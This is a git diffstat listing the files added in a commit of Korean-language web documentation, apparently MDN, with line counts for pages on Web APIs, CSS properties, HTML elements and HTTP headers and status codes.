.../ko/web/api/windowtimers/settimeout/index.html | 429 +++ files/ko/web/api/worker/index.html | 129 + files/ko/web/api/worker/postmessage/index.html | 205 ++ files/ko/web/api/writablestream/index.html | 144 + files/ko/web/api/xmlhttprequest/index.html | 194 ++ .../api/xmlhttprequest/setrequestheader/index.html | 55 + .../index.html | 231 ++ files/ko/web/api/xmlhttprequest/timeout/index.html | 123 + files/ko/web/api/xmlhttprequest/upload/index.html | 88 + files/ko/web/apps/design/index.html | 35 + .../marketplace_review_criteria/index.html | 77 + files/ko/web/css/-moz-image-region/index.html | 54 + files/ko/web/css/-webkit-line-clamp/index.html | 111 + .../web/css/-webkit-overflow-scrolling/index.html | 86 + files/ko/web/css/@charset/index.html | 78 + .../ko/web/css/@font-face/font-display/index.html | 101 + files/ko/web/css/@font-face/index.html | 216 ++ files/ko/web/css/@import/index.html | 83 + files/ko/web/css/@keyframes/index.html | 152 + files/ko/web/css/@media/index.html | 153 + .../web/css/@media/prefers-color-scheme/index.html | 89 + files/ko/web/css/@namespace/index.html | 78 + files/ko/web/css/@page/index.html | 96 + files/ko/web/css/@supports/index.html | 193 ++ files/ko/web/css/@viewport/height/index.html | 75 + files/ko/web/css/@viewport/index.html | 120 + files/ko/web/css/@viewport/viewport-fit/index.html | 72 + files/ko/web/css/@viewport/zoom/index.html | 70 + files/ko/web/css/_colon_active/index.html | 127 + files/ko/web/css/_colon_checked/index.html | 193 ++ files/ko/web/css/_colon_default/index.html | 101 + files/ko/web/css/_colon_defined/index.html | 118 + files/ko/web/css/_colon_disabled/index.html | 129 + files/ko/web/css/_colon_enabled/index.html | 100 + files/ko/web/css/_colon_first-child/index.html | 134 + files/ko/web/css/_colon_first-of-type/index.html | 115 + files/ko/web/css/_colon_first/index.html | 97 + files/ko/web/css/_colon_focus-within/index.html | 96 + files/ko/web/css/_colon_focus/index.html | 116 + files/ko/web/css/_colon_fullscreen/index.html | 94 + files/ko/web/css/_colon_hover/index.html | 97 + files/ko/web/css/_colon_link/index.html | 105 + files/ko/web/css/_colon_not/index.html | 71 + files/ko/web/css/_colon_nth-child/index.html | 196 ++ files/ko/web/css/_colon_root/index.html | 78 + files/ko/web/css/_colon_visited/index.html | 121 + files/ko/web/css/_doublecolon_after/index.html | 179 ++ files/ko/web/css/_doublecolon_before/index.html | 237 ++ .../ko/web/css/_doublecolon_placeholder/index.html | 147 + files/ko/web/css/actual_value/index.html | 47 + files/ko/web/css/align-content/index.html | 297 ++ files/ko/web/css/all/index.html | 171 ++ .../css/all_about_the_containing_block/index.html | 263 ++ .../ko/web/css/alternative_style_sheets/index.html | 24 + files/ko/web/css/angle-percentage/index.html | 52 + files/ko/web/css/angle/index.html | 115 + files/ko/web/css/animation-delay/index.html | 85 + files/ko/web/css/animation-direction/index.html | 191 ++ files/ko/web/css/animation-duration/index.html | 140 + files/ko/web/css/animation-fill-mode/index.html | 241 ++ files/ko/web/css/animation/index.html | 349 +++ files/ko/web/css/at-rule/index.html | 76 + files/ko/web/css/attribute_selectors/index.html | 228 ++ files/ko/web/css/backdrop-filter/index.html | 146 + files/ko/web/css/backface-visibility/index.html | 217 ++ files/ko/web/css/background-attachment/index.html | 153 + files/ko/web/css/background-clip/index.html | 129 + files/ko/web/css/background-color/index.html | 169 + files/ko/web/css/background-image/index.html | 152 + files/ko/web/css/background-origin/index.html | 113 + files/ko/web/css/background-repeat/index.html | 233 ++ files/ko/web/css/background-size/index.html | 196 ++ files/ko/web/css/background/index.html | 178 ++ files/ko/web/css/basic-shape/index.html | 179 ++ files/ko/web/css/blend-mode/index.html | 404 +++ files/ko/web/css/border-bottom-color/index.html | 114 + files/ko/web/css/border-bottom-style/index.html | 134 + files/ko/web/css/border-bottom-width/index.html | 150 + files/ko/web/css/border-bottom/index.html | 109 + files/ko/web/css/border-collapse/index.html | 148 + files/ko/web/css/border-color/index.html | 184 ++ files/ko/web/css/border-image-outset/index.html | 113 + files/ko/web/css/border-image-repeat/index.html | 125 + files/ko/web/css/border-image-slice/index.html | 107 + files/ko/web/css/border-image-source/index.html | 78 + files/ko/web/css/border-image-width/index.html | 128 + files/ko/web/css/border-image/index.html | 168 + files/ko/web/css/border-left-color/index.html | 114 + files/ko/web/css/border-left-style/index.html | 134 + files/ko/web/css/border-left-width/index.html | 150 + files/ko/web/css/border-left/index.html | 109 + files/ko/web/css/border-radius/index.html | 228 ++ files/ko/web/css/border-right-color/index.html | 114 + files/ko/web/css/border-right-style/index.html | 134 + files/ko/web/css/border-right-width/index.html | 150 + files/ko/web/css/border-right/index.html | 109 + files/ko/web/css/border-spacing/index.html | 131 + files/ko/web/css/border-style/index.html | 241 ++ files/ko/web/css/border-top-color/index.html | 114 + files/ko/web/css/border-top-style/index.html | 134 + files/ko/web/css/border-top-width/index.html | 148 + files/ko/web/css/border-top/index.html | 109 + files/ko/web/css/border-width/index.html | 194 ++ files/ko/web/css/border/index.html | 151 + files/ko/web/css/box-shadow/index.html | 126 + files/ko/web/css/box-sizing/index.html | 119 + files/ko/web/css/calc()/index.html | 160 + files/ko/web/css/cascade/index.html | 229 ++ files/ko/web/css/child_combinator/index.html | 92 + files/ko/web/css/class_selectors/index.html | 107 + files/ko/web/css/clear/index.html | 231 ++ files/ko/web/css/clip-path/index.html | 614 ++++ files/ko/web/css/color/index.html | 163 + files/ko/web/css/color_value/index.html | 1374 +++++++++ files/ko/web/css/comments/index.html | 54 + files/ko/web/css/common_css_questions/index.html | 199 ++ files/ko/web/css/computed_value/index.html | 55 + files/ko/web/css/contain/index.html | 206 ++ files/ko/web/css/content/index.html | 297 ++ .../ko/web/css/css_animated_properties/index.html | 14 + files/ko/web/css/css_animations/index.html | 87 + .../css_animations/using_css_animations/index.html | 330 ++ .../border-image_generator/index.html | 2627 ++++++++++++++++ .../border-radius_generator/index.html | 1601 ++++++++++ .../box-shadow_generator/index.html | 2881 +++++++++++++++++ .../using_css_multiple_backgrounds/index.html | 55 + .../web/css/css_backgrounds_and_borders/index.html | 113 + .../scaling_background_images/index.html | 137 + .../using_multiple_backgrounds/index.html | 59 + .../ko/web/css/css_basic_user_interface/index.html | 75 + files/ko/web/css/css_box_model/index.html | 113 + .../introduction_to_the_css_box_model/index.html | 70 + .../mastering_margin_collapsing/index.html | 82 + files/ko/web/css/css_charsets/index.html | 44 + files/ko/web/css/css_color/index.html | 110 + .../css/css_colors/color_picker_tool/index.html | 3238 ++++++++++++++++++++ files/ko/web/css/css_columns/index.html | 89 + files/ko/web/css/css_conditional_rules/index.html | 44 + files/ko/web/css/css_containment/index.html | 123 + files/ko/web/css/css_device_adaptation/index.html | 42 + .../aligning_items_in_a_flex_container/index.html | 211 ++ .../index.html" | 236 ++ .../ko/web/css/css_flexible_box_layout/index.html | 108 + .../index.html" | 141 + files/ko/web/css/css_flow_layout/index.html | 46 + .../intro_to_formatting_contexts/index.html | 92 + .../index.html" | 72 + .../index.html" | 122 + .../index.html" | 92 + .../index.html" | 73 + files/ko/web/css/css_fonts/index.html | 102 + files/ko/web/css/css_generated_content/index.html | 43 + .../basic_concepts_of_grid_layout/index.html | 765 +++++ .../css_grid_layout/grid_template_areas/index.html | 533 ++++ files/ko/web/css/css_grid_layout/index.html | 253 ++ .../layout_using_named_grid_lines/index.html | 497 +++ .../line-based_placement_with_css_grid/index.html | 649 ++++ .../relationship_of_grid_layout/index.html | 625 ++++ .../implementing_image_sprites_in_css/index.html | 56 + files/ko/web/css/css_images/index.html | 107 + .../css/css_images/using_css_gradients/index.html | 750 +++++ files/ko/web/css/css_lists_and_counters/index.html | 57 + .../using_css_counters/index.html | 148 + files/ko/web/css/css_logical_properties/index.html | 136 + files/ko/web/css/css_masks/index.html | 68 + files/ko/web/css/css_miscellaneous/index.html | 43 + files/ko/web/css/css_namespaces/index.html | 42 + files/ko/web/css/css_pages/index.html | 73 + files/ko/web/css/css_positioning/index.html | 61 + .../adding_z-index/index.html | 157 + .../understanding_z_index/index.html | 32 + .../stacking_and_float/index.html | 146 + .../stacking_context_example_1/index.html | 120 + .../stacking_context_example_2/index.html | 123 + .../stacking_context_example_3/index.html | 167 + .../stacking_without_z-index/index.html | 145 + .../the_stacking_context/index.html | 240 ++ files/ko/web/css/css_ruby/index.html | 45 + files/ko/web/css/css_scroll_snap_points/index.html | 50 + files/ko/web/css/css_selectors/index.html | 133 + files/ko/web/css/css_shapes/index.html | 80 + files/ko/web/css/css_table/index.html | 48 + files/ko/web/css/css_text/index.html | 71 + files/ko/web/css/css_text_decoration/index.html | 69 + files/ko/web/css/css_transforms/index.html | 66 + .../css_transforms/using_css_transforms/index.html | 80 + files/ko/web/css/css_transitions/index.html | 59 + .../using_css_transitions/index.html | 1058 +++++++ files/ko/web/css/css_types/index.html | 100 + files/ko/web/css/css_variables/index.html | 37 + files/ko/web/css/css_writing_modes/index.html | 57 + .../index.html" | 497 +++ files/ko/web/css/cursor/index.html | 315 ++ .../index.html | 70 + files/ko/web/css/descendant_combinator/index.html | 108 + files/ko/web/css/display-internal/index.html | 131 + files/ko/web/css/display/index.html | 234 ++ files/ko/web/css/filter-function/blur()/index.html | 40 + .../css/filter-function/brightness()/index.html | 41 + .../web/css/filter-function/contrast()/index.html | 41 + files/ko/web/css/filter-function/index.html | 210 ++ files/ko/web/css/filter/index.html | 1138 +++++++ files/ko/web/css/filter_effects/index.html | 70 + files/ko/web/css/flex-basis/index.html | 209 ++ files/ko/web/css/flex-direction/index.html | 155 + files/ko/web/css/flex-flow/index.html | 91 + files/ko/web/css/flex-grow/index.html | 123 + files/ko/web/css/flex-shrink/index.html | 123 + files/ko/web/css/flex-wrap/index.html | 159 + files/ko/web/css/flex/index.html | 267 ++ files/ko/web/css/float/index.html | 215 ++ files/ko/web/css/font-family/index.html | 177 ++ files/ko/web/css/font-feature-settings/index.html | 128 + files/ko/web/css/font-size/index.html | 220 ++ files/ko/web/css/font-synthesis/index.html | 111 + files/ko/web/css/font-weight/index.html | 283 ++ files/ko/web/css/font/index.html | 345 +++ files/ko/web/css/frequency/index.html | 75 + files/ko/web/css/gap/index.html | 220 ++ .../web/css/general_sibling_combinator/index.html | 80 + .../web/css/getting_started/javascript/index.html | 144 + .../css/getting_started/svg_graphics/index.html | 195 ++ .../css/getting_started/xbl_bindings/index.html | 198 ++ .../ko/web/css/getting_started/xml_data/index.html | 186 ++ .../getting_started/xul_user_interfaces/index.html | 315 ++ files/ko/web/css/gradient/index.html | 160 + files/ko/web/css/grid-area/index.html | 206 ++ files/ko/web/css/grid/index.html | 192 ++ files/ko/web/css/height/index.html | 175 ++ files/ko/web/css/hyphens/index.html | 159 + files/ko/web/css/id_selectors/index.html | 85 + files/ko/web/css/image-rendering/index.html | 120 + files/ko/web/css/image/index.html | 175 ++ files/ko/web/css/index.html | 96 + files/ko/web/css/index/index.html | 10 + files/ko/web/css/inherit/index.html | 77 + files/ko/web/css/inheritance/index.html | 54 + files/ko/web/css/initial/index.html | 78 + files/ko/web/css/initial_value/index.html | 51 + files/ko/web/css/integer/index.html | 93 + files/ko/web/css/isolation/index.html | 114 + files/ko/web/css/layout_mode/index.html | 32 + files/ko/web/css/length-percentage/index.html | 55 + files/ko/web/css/length/index.html | 252 ++ files/ko/web/css/letter-spacing/index.html | 135 + files/ko/web/css/line-break/index.html | 112 + files/ko/web/css/linear-gradient()/index.html | 204 ++ files/ko/web/css/margin-bottom/index.html | 100 + files/ko/web/css/margin-left/index.html | 160 + files/ko/web/css/margin-right/index.html | 159 + files/ko/web/css/margin-top/index.html | 100 + files/ko/web/css/margin/index.html | 176 ++ files/ko/web/css/mask/index.html | 117 + files/ko/web/css/max-height/index.html | 127 + files/ko/web/css/max-width/index.html | 173 ++ files/ko/web/css/media_queries/index.html | 103 + .../index.html | 93 + files/ko/web/css/min-height/index.html | 123 + files/ko/web/css/min-width/index.html | 122 + files/ko/web/css/mix-blend-mode/index.html | 651 ++++ files/ko/web/css/number/index.html | 85 + files/ko/web/css/object-fit/index.html | 170 + files/ko/web/css/object-position/index.html | 123 + files/ko/web/css/opacity/index.html | 144 + files/ko/web/css/order/index.html | 110 + files/ko/web/css/outline-style/index.html | 256 ++ files/ko/web/css/outline-width/index.html | 141 + files/ko/web/css/outline/index.html | 158 + files/ko/web/css/overflow-wrap/index.html | 118 + files/ko/web/css/overflow/index.html | 146 + files/ko/web/css/padding-bottom/index.html | 111 + files/ko/web/css/padding-left/index.html | 109 + files/ko/web/css/padding-right/index.html | 109 + files/ko/web/css/padding-top/index.html | 111 + files/ko/web/css/padding/index.html | 158 + files/ko/web/css/paged_media/index.html | 19 + files/ko/web/css/paint-order/index.html | 110 + files/ko/web/css/percentage/index.html | 86 + files/ko/web/css/pointer-events/index.html | 168 + files/ko/web/css/position/index.html | 316 ++ files/ko/web/css/position_value/index.html | 135 + files/ko/web/css/pseudo-classes/index.html | 166 + files/ko/web/css/pseudo-elements/index.html | 124 + files/ko/web/css/reference/index.html | 190 ++ .../web/css/reference/property_template/index.html | 131 + files/ko/web/css/replaced_element/index.html | 65 + files/ko/web/css/resolved_value/index.html | 39 + files/ko/web/css/revert/index.html | 137 + files/ko/web/css/selector_list/index.html | 101 + files/ko/web/css/shorthand_properties/index.html | 156 + files/ko/web/css/specificity/index.html | 331 ++ files/ko/web/css/specified_value/index.html | 67 + files/ko/web/css/syntax/index.html | 79 + files/ko/web/css/tab-size/index.html | 121 + files/ko/web/css/text-align/index.html | 234 ++ files/ko/web/css/text-decoration/index.html | 133 + files/ko/web/css/text-shadow/index.html | 126 + files/ko/web/css/time/index.html | 88 + files/ko/web/css/transform-function/index.html | 158 + .../web/css/transform-function/matrix()/index.html | 89 + .../web/css/transform-function/scalex()/index.html | 101 + files/ko/web/css/transform/index.html | 151 + files/ko/web/css/transition-delay/index.html | 395 +++ files/ko/web/css/transition/index.html | 150 + files/ko/web/css/type_selectors/index.html | 86 + files/ko/web/css/universal_selectors/index.html | 105 + files/ko/web/css/unset/index.html | 120 + files/ko/web/css/url/index.html | 79 + files/ko/web/css/used_value/index.html | 127 + files/ko/web/css/user-select/index.html | 123 + .../web/css/using_css_custom_properties/index.html | 262 ++ .../ko/web/css/value_definition_syntax/index.html | 436 +++ files/ko/web/css/var()/index.html | 99 + files/ko/web/css/vertical-align/index.html | 246 ++ files/ko/web/css/visibility/index.html | 176 ++ files/ko/web/css/white-space/index.html | 242 ++ files/ko/web/css/width/index.html | 200 ++ files/ko/web/css/will-change/index.html | 171 ++ files/ko/web/css/word-break/index.html | 141 + files/ko/web/css/word-spacing/index.html | 127 + files/ko/web/css/z-index/index.html | 138 + .../index.html" | 244 ++ .../index.html" | 346 +++ .../\353\260\260\354\271\230/index.html" | 369 +++ .../\354\203\201\354\236\220/index.html" | 330 ++ .../index.html" | 126 + .../index.html" | 474 +++ .../index.html" | 149 + .../index.html" | 83 + files/ko/web/events/abort/index.html | 73 + files/ko/web/events/blur/index.html | 154 + files/ko/web/events/chargingchange/index.html | 66 + files/ko/web/events/domcontentloaded/index.html | 77 + files/ko/web/events/domsubtreemodified/index.html | 17 + files/ko/web/events/index.html | 3114 +++++++++++++++++++ files/ko/web/events/load/index.html | 128 + files/ko/web/events/message/index.html | 152 + files/ko/web/exslt/index.html | 96 + files/ko/web/guide/ajax/community/index.html | 21 + files/ko/web/guide/ajax/getting_started/index.html | 296 ++ files/ko/web/guide/ajax/index.html | 71 + files/ko/web/guide/api/index.html | 24 + .../web/guide/api/vibration/vibration/index.html | 100 + .../index.html | 321 ++ .../web/guide/audio_and_video_delivery/index.html | 554 ++++ .../guide/css/block_formatting_context/index.html | 198 ++ files/ko/web/guide/css/media_queries/index.html | 386 +++ .../guide/css/visual_formatting_model/index.html | 223 ++ files/ko/web/guide/dom/index.html | 21 + .../guide/dom/using_full_screen_mode/index.html | 198 ++ .../creating_and_triggering_events/index.html | 140 + files/ko/web/guide/events/index.html | 51 + .../overview_of_events_and_handlers/index.html | 142 + .../web/guide/html/content_categories/index.html | 180 ++ .../ko/web/guide/html/content_editable/index.html | 65 + files/ko/web/guide/index.html | 31 + files/ko/web/guide/index/index.html | 11 + files/ko/web/guide/mobile/index.html | 77 + .../ko/web/guide/mobile/separate_sites/index.html | 53 + .../index.html" | 141 + .../index.html" | 48 + files/ko/web/html/applying_color/index.html | 510 +++ .../ko/web/html/attributes/autocomplete/index.html | 247 ++ .../ko/web/html/attributes/crossorigin/index.html | 96 + files/ko/web/html/attributes/index.html | 733 +++++ files/ko/web/html/block-level_elements/index.html | 127 + files/ko/web/html/canvas/index.html | 135 + .../manipulating_video_using_canvas/index.html | 164 + .../canvas/tutorial/advanced_animations/index.html | 376 +++ .../tutorial/applying_styles_and_colors/index.html | 732 +++++ .../canvas/tutorial/basic_animations/index.html | 310 ++ .../html/canvas/tutorial/basic_usage/index.html | 154 + .../canvas/tutorial/compositing/example/index.html | 293 ++ .../html/canvas/tutorial/compositing/index.html | 106 + .../html/canvas/tutorial/drawing_shapes/index.html | 577 ++++ .../ko/web/html/canvas/tutorial/finale/index.html | 51 + .../hit_regions_and_accessibility/index.html | 97 + files/ko/web/html/canvas/tutorial/index.html | 62 + .../canvas/tutorial/optimizing_canvas/index.html | 110 + .../html/canvas/tutorial/using_images/index.html | 347 +++ .../tutorial/\353\263\200\355\230\225/index.html" | 286 ++ files/ko/web/html/cors_enabled_image/index.html | 112 + files/ko/web/html/element/a/index.html | 489 +++ files/ko/web/html/element/abbr/index.html | 194 ++ files/ko/web/html/element/address/index.html | 128 + files/ko/web/html/element/applet/index.html | 115 + files/ko/web/html/element/area/index.html | 184 ++ files/ko/web/html/element/article/index.html | 137 + files/ko/web/html/element/aside/index.html | 122 + files/ko/web/html/element/audio/index.html | 417 +++ files/ko/web/html/element/b/index.html | 121 + files/ko/web/html/element/base/index.html | 136 + files/ko/web/html/element/bdo/index.html | 111 + files/ko/web/html/element/blockquote/index.html | 131 + files/ko/web/html/element/body/index.html | 166 + files/ko/web/html/element/br/index.html | 130 + files/ko/web/html/element/button/index.html | 293 ++ files/ko/web/html/element/canvas/index.html | 194 ++ files/ko/web/html/element/caption/index.html | 153 + files/ko/web/html/element/center/index.html | 51 + files/ko/web/html/element/cite/index.html | 143 + files/ko/web/html/element/code/index.html | 109 + files/ko/web/html/element/col/index.html | 159 + files/ko/web/html/element/colgroup/index.html | 142 + files/ko/web/html/element/command/index.html | 111 + files/ko/web/html/element/content/index.html | 101 + files/ko/web/html/element/data/index.html | 104 + files/ko/web/html/element/datalist/index.html | 115 + files/ko/web/html/element/dd/index.html | 111 + files/ko/web/html/element/del/index.html | 140 + files/ko/web/html/element/details/index.html | 284 ++ files/ko/web/html/element/dfn/index.html | 196 ++ files/ko/web/html/element/dialog/index.html | 180 ++ files/ko/web/html/element/div/index.html | 147 + files/ko/web/html/element/dl/index.html | 223 ++ files/ko/web/html/element/dt/index.html | 99 + files/ko/web/html/element/element/index.html | 57 + files/ko/web/html/element/em/index.html | 124 + files/ko/web/html/element/embed/index.html | 81 + files/ko/web/html/element/fieldset/index.html | 151 + files/ko/web/html/element/figcaption/index.html | 88 + files/ko/web/html/element/figure/index.html | 175 ++ files/ko/web/html/element/font/index.html | 48 + files/ko/web/html/element/footer/index.html | 109 + files/ko/web/html/element/form/index.html | 186 ++ files/ko/web/html/element/frame/index.html | 56 + files/ko/web/html/element/frameset/index.html | 39 + files/ko/web/html/element/head/index.html | 129 + files/ko/web/html/element/header/index.html | 109 + .../web/html/element/heading_elements/index.html | 242 ++ files/ko/web/html/element/hgroup/index.html | 105 + files/ko/web/html/element/hr/index.html | 131 + files/ko/web/html/element/html/index.html | 123 + files/ko/web/html/element/i/index.html | 119 + files/ko/web/html/element/iframe/index.html | 253 ++ files/ko/web/html/element/img/index.html | 389 +++ files/ko/web/html/element/index.html | 102 + files/ko/web/html/element/input/button/index.html | 343 +++ files/ko/web/html/element/input/date/index.html | 497 +++ files/ko/web/html/element/input/file/index.html | 509 +++ files/ko/web/html/element/input/index.html | 865 ++++++ files/ko/web/html/element/input/radio/index.html | 367 +++ files/ko/web/html/element/ins/index.html | 137 + files/ko/web/html/element/kbd/index.html | 208 ++ files/ko/web/html/element/keygen/index.html | 122 + files/ko/web/html/element/label/index.html | 189 ++ files/ko/web/html/element/legend/index.html | 91 + files/ko/web/html/element/li/index.html | 154 + files/ko/web/html/element/link/index.html | 365 +++ files/ko/web/html/element/main/index.html | 172 ++ files/ko/web/html/element/map/index.html | 121 + files/ko/web/html/element/mark/index.html | 161 + files/ko/web/html/element/menu/index.html | 132 + files/ko/web/html/element/meta/index.html | 151 + files/ko/web/html/element/meta/name/index.html | 312 ++ files/ko/web/html/element/meter/index.html | 142 + files/ko/web/html/element/nav/index.html | 101 + files/ko/web/html/element/noscript/index.html | 113 + files/ko/web/html/element/object/index.html | 117 + files/ko/web/html/element/ol/index.html | 207 ++ files/ko/web/html/element/optgroup/index.html | 120 + files/ko/web/html/element/option/index.html | 101 + files/ko/web/html/element/output/index.html | 104 + files/ko/web/html/element/p/index.html | 175 ++ files/ko/web/html/element/param/index.html | 116 + files/ko/web/html/element/pre/index.html | 150 + files/ko/web/html/element/progress/index.html | 122 + files/ko/web/html/element/q/index.html | 111 + files/ko/web/html/element/rb/index.html | 150 + files/ko/web/html/element/rp/index.html | 134 + files/ko/web/html/element/rt/index.html | 129 + files/ko/web/html/element/rtc/index.html | 121 + files/ko/web/html/element/ruby/index.html | 110 + files/ko/web/html/element/s/index.html | 126 + files/ko/web/html/element/samp/index.html | 156 + files/ko/web/html/element/script/index.html | 220 ++ files/ko/web/html/element/section/index.html | 123 + files/ko/web/html/element/select/index.html | 210 ++ files/ko/web/html/element/slot/index.html | 122 + files/ko/web/html/element/small/index.html | 117 + files/ko/web/html/element/span/index.html | 125 + files/ko/web/html/element/strong/index.html | 135 + files/ko/web/html/element/style/index.html | 201 ++ files/ko/web/html/element/sub/index.html | 137 + files/ko/web/html/element/summary/index.html | 151 + files/ko/web/html/element/sup/index.html | 142 + files/ko/web/html/element/table/index.html | 370 +++ files/ko/web/html/element/tbody/index.html | 320 ++ files/ko/web/html/element/td/index.html | 213 ++ files/ko/web/html/element/template/index.html | 165 + files/ko/web/html/element/textarea/index.html | 158 + files/ko/web/html/element/th/index.html | 226 ++ files/ko/web/html/element/thead/index.html | 270 ++ files/ko/web/html/element/time/index.html | 169 + files/ko/web/html/element/title/index.html | 134 + files/ko/web/html/element/tr/index.html | 217 ++ files/ko/web/html/element/track/index.html | 175 ++ files/ko/web/html/element/u/index.html | 206 ++ files/ko/web/html/element/ul/index.html | 188 ++ files/ko/web/html/element/var/index.html | 116 + files/ko/web/html/element/video/index.html | 145 + files/ko/web/html/element/wbr/index.html | 111 + .../html/global_attributes/accesskey/index.html | 139 + .../global_attributes/autocapitalize/index.html | 47 + .../global_attributes/contenteditable/index.html | 76 + .../html/global_attributes/contextmenu/index.html | 121 + .../html/global_attributes/data-_star_/index.html | 79 + files/ko/web/html/global_attributes/dir/index.html | 89 + .../html/global_attributes/draggable/index.html | 66 + .../web/html/global_attributes/dropzone/index.html | 53 + .../web/html/global_attributes/hidden/index.html | 69 + files/ko/web/html/global_attributes/id/index.html | 72 + files/ko/web/html/global_attributes/index.html | 166 + .../html/global_attributes/inputmode/index.html | 64 + files/ko/web/html/global_attributes/is/index.html | 64 + .../web/html/global_attributes/itemid/index.html | 105 + .../web/html/global_attributes/itemprop/index.html | 472 +++ .../web/html/global_attributes/itemref/index.html | 95 + .../html/global_attributes/itemscope/index.html | 284 ++ .../ko/web/html/global_attributes/lang/index.html | 90 + .../ko/web/html/global_attributes/part/index.html | 43 + .../ko/web/html/global_attributes/slot/index.html | 48 + .../html/global_attributes/spellcheck/index.html | 67 + .../ko/web/html/global_attributes/style/index.html | 69 + .../web/html/global_attributes/tabindex/index.html | 92 + .../ko/web/html/global_attributes/title/index.html | 125 + .../html/global_attributes/translate/index.html | 64 + .../index.html" | 64 + files/ko/web/html/html5/index.html | 122 + .../html/html5/introduction_to_html5/index.html | 40 + .../index.html" | 367 +++ files/ko/web/html/index.html | 117 + files/ko/web/html/index/index.html | 10 + files/ko/web/html/inline_elements/index.html | 169 + files/ko/web/html/link_types/index.html | 332 ++ files/ko/web/html/preloading_content/index.html | 233 ++ .../html/quirks_mode_and_standards_mode/index.html | 46 + files/ko/web/html/reference/index.html | 32 + .../html/using_the_application_cache/index.html | 338 ++ files/ko/web/http/authentication/index.html | 111 + .../index.html | 65 + .../web/http/basics_of_http/data_uris/index.html | 162 + .../basics_of_http/evolution_of_http/index.html | 201 ++ .../identifying_resources_on_the_web/index.html | 167 + files/ko/web/http/basics_of_http/index.html | 51 + .../mime_types/common_types/index.html | 305 ++ .../web/http/basics_of_http/mime_types/index.html | 306 ++ files/ko/web/http/caching/index.html | 193 ++ files/ko/web/http/compression/index.html | 64 + files/ko/web/http/conditional_requests/index.html | 139 + .../connection_management_in_http_1.x/index.html | 86 + files/ko/web/http/content_negotiation/index.html | 129 + files/ko/web/http/cookies/index.html | 201 ++ .../http/cors/errors/corsdidnotsucceed/index.html | 22 + .../http/cors/errors/corsrequestnothttp/index.html | 43 + files/ko/web/http/cors/errors/index.html | 76 + files/ko/web/http/cors/index.html | 476 +++ .../ko/web/http/headers/accept-charset/index.html | 80 + .../ko/web/http/headers/accept-encoding/index.html | 109 + .../ko/web/http/headers/accept-language/index.html | 89 + files/ko/web/http/headers/accept-ranges/index.html | 72 + files/ko/web/http/headers/accept/index.html | 81 + .../access-control-allow-credentials/index.html | 90 + .../access-control-allow-headers/index.html | 117 + .../headers/access-control-allow-origin/index.html | 140 + .../access-control-request-headers/index.html | 71 + .../access-control-request-method/index.html | 71 + files/ko/web/http/headers/age/index.html | 69 + files/ko/web/http/headers/allow/index.html | 67 + files/ko/web/http/headers/authorization/index.html | 90 + files/ko/web/http/headers/cache-control/index.html | 171 ++ files/ko/web/http/headers/connection/index.html | 53 + .../http/headers/content-disposition/index.html | 133 + .../web/http/headers/content-encoding/index.html | 94 + .../web/http/headers/content-language/index.html | 92 + .../ko/web/http/headers/content-length/index.html | 60 + .../web/http/headers/content-location/index.html | 66 + files/ko/web/http/headers/content-range/index.html | 89 + .../content-security-policy/default-src/index.html | 149 + .../content-security-policy/img-src/index.html | 84 + .../headers/content-security-policy/index.html | 259 ++ .../content-security-policy/report-to/index.html | 80 + .../content-security-policy/script-src/index.html | 167 + files/ko/web/http/headers/content-type/index.html | 108 + files/ko/web/http/headers/cookie/index.html | 66 + files/ko/web/http/headers/date/index.html | 81 + files/ko/web/http/headers/dnt/index.html | 83 + files/ko/web/http/headers/etag/index.html | 99 + files/ko/web/http/headers/expect/index.html | 90 + files/ko/web/http/headers/expires/index.html | 75 + files/ko/web/http/headers/forwarded/index.html | 110 + files/ko/web/http/headers/from/index.html | 70 + files/ko/web/http/headers/host/index.html | 70 + .../web/http/headers/if-modified-since/index.html | 91 + files/ko/web/http/headers/if-range/index.html | 104 + files/ko/web/http/headers/index.html | 444 +++ files/ko/web/http/headers/keep-alive/index.html | 88 + files/ko/web/http/headers/last-modified/index.html | 92 + files/ko/web/http/headers/origin/index.html | 88 + files/ko/web/http/headers/pragma/index.html | 84 + files/ko/web/http/headers/range/index.html | 84 + files/ko/web/http/headers/referer/index.html | 79 + files/ko/web/http/headers/retry-after/index.html | 80 + files/ko/web/http/headers/server/index.html | 70 + files/ko/web/http/headers/set-cookie/index.html | 161 + .../headers/strict-transport-security/index.html | 108 + .../web/http/headers/transfer-encoding/index.html | 104 + files/ko/web/http/headers/vary/index.html | 82 + files/ko/web/http/headers/via/index.html | 79 + .../ko/web/http/headers/x-forwarded-for/index.html | 81 + .../web/http/headers/x-forwarded-host/index.html | 74 + .../web/http/headers/x-forwarded-proto/index.html | 61 + .../ko/web/http/headers/x-frame-options/index.html | 129 + .../web/http/headers/x-xss-protection/index.html | 83 + files/ko/web/http/index.html | 87 + files/ko/web/http/index/index.html | 11 + files/ko/web/http/messages/index.html | 147 + files/ko/web/http/methods/connect/index.html | 86 + files/ko/web/http/methods/delete/index.html | 98 + files/ko/web/http/methods/get/index.html | 75 + files/ko/web/http/methods/head/index.html | 77 + files/ko/web/http/methods/index.html | 73 + files/ko/web/http/methods/options/index.html | 131 + files/ko/web/http/methods/patch/index.html | 95 + files/ko/web/http/methods/post/index.html | 127 + files/ko/web/http/methods/put/index.html | 101 + files/ko/web/http/overview/index.html | 179 ++ files/ko/web/http/range_requests/index.html | 119 + files/ko/web/http/redirections/index.html | 256 ++ .../http/resources_and_specifications/index.html | 242 ++ files/ko/web/http/resources_and_uris/index.html | 27 + files/ko/web/http/session/index.html | 159 + files/ko/web/http/status/100/index.html | 46 + files/ko/web/http/status/101/index.html | 52 + files/ko/web/http/status/103/index.html | 43 + files/ko/web/http/status/200/index.html | 54 + files/ko/web/http/status/201/index.html | 48 + files/ko/web/http/status/202/index.html | 39 + files/ko/web/http/status/204/index.html | 54 + files/ko/web/http/status/205/index.html | 39 + files/ko/web/http/status/206/index.html | 85 + files/ko/web/http/status/301/index.html | 54 + files/ko/web/http/status/302/index.html | 54 + files/ko/web/http/status/304/index.html | 63 + files/ko/web/http/status/307/index.html | 48 + files/ko/web/http/status/400/index.html | 36 + files/ko/web/http/status/401/index.html | 60 + files/ko/web/http/status/403/index.html | 49 + files/ko/web/http/status/404/index.html | 59 + files/ko/web/http/status/405/index.html | 37 + files/ko/web/http/status/408/index.html | 42 + files/ko/web/http/status/409/index.html | 41 + files/ko/web/http/status/411/index.html | 36 + files/ko/web/http/status/413/index.html | 34 + files/ko/web/http/status/416/index.html | 51 + files/ko/web/http/status/418/index.html | 45 + files/ko/web/http/status/422/index.html | 40 + files/ko/web/http/status/431/index.html | 45 + files/ko/web/http/status/500/index.html | 41 + 